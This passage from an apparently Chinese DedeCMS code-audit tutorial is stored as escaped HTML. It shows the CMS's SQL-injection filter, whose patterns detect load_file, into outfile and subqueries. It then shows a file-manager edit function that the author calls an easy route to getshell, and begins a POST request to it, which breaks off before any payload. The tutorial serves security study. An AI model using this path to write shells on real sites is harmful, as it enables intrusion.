style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'~(^|[^a-z])load_file($|[^[a-z])~s'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"file fun detect\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelseif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'into outfile'\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&&\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'~(^|[^a-z])into\\s+outfile($|[^[a-z])~s'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"file fun detect\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelseif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'~\\([^)]*?select~s'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"sub select detect\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!\u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eempty\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fail\u003C\u002Fspan\u003E))\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Efputs\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Efopen\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$log_file\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'a+'\u003C\u002Fspan\u003E),\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$userIP\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E||\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$getUrl\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E||\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E||\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\\r\\n\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eexit\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"<font size='5' color='red'>Safe Alert: Request Error step 2!<\u002Ffont>\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Ch3\u003E案例 4\u003C\u002Fh3\u003E\u003Cp\u003E基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法\u003C\u002Fp\u003E\u003Cp\u003E我们来到对应的路由去查看\u003C\u002Fp\u003E\u003Cp\u003E果然找到了\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F文件编辑\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F*---------------\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003Efunction __saveEdit();\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E----------------*\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fmdo\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"edit\"\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E{\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ecsrf_check\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estr_replace\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"..\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$file\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_basedir$activepath\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estripslashes\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fp\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Efopen\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$file\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"w\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Efputs\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fp\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Efclose\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fp\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fp\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E===\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003Efalse\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EShowMsg\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"保存失败!请检查文件是否可写\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eexit\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eempty\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$backurl\u003C\u002Fspan\u003E))\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EShowMsg\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"成功保存一个文件!\"\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"file_manage_main.php?activepath=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$activepath\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EShowMsg\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"成功保存文件!\"\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$backurl\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eexit\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E一样的方法\u003C\u002Fp\u003E\u003Cp\u003E文件名是 filename,内容是 str\u003C\u002Fp\u003E\u003Cp\u003E我们访问对应的路由\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002F32d79707-e542-4697-a2a3-0c1238d4e2ee.png\" width=\"720\" height=\"534.7909967845659\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EPOST\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edede\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efile_manage_control\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ephp\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EHTTP\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1.1\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EHost\u003C\u002Fspan\u003E: \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ededecms\u003C\u002Fspan\u003E:\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E5135\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 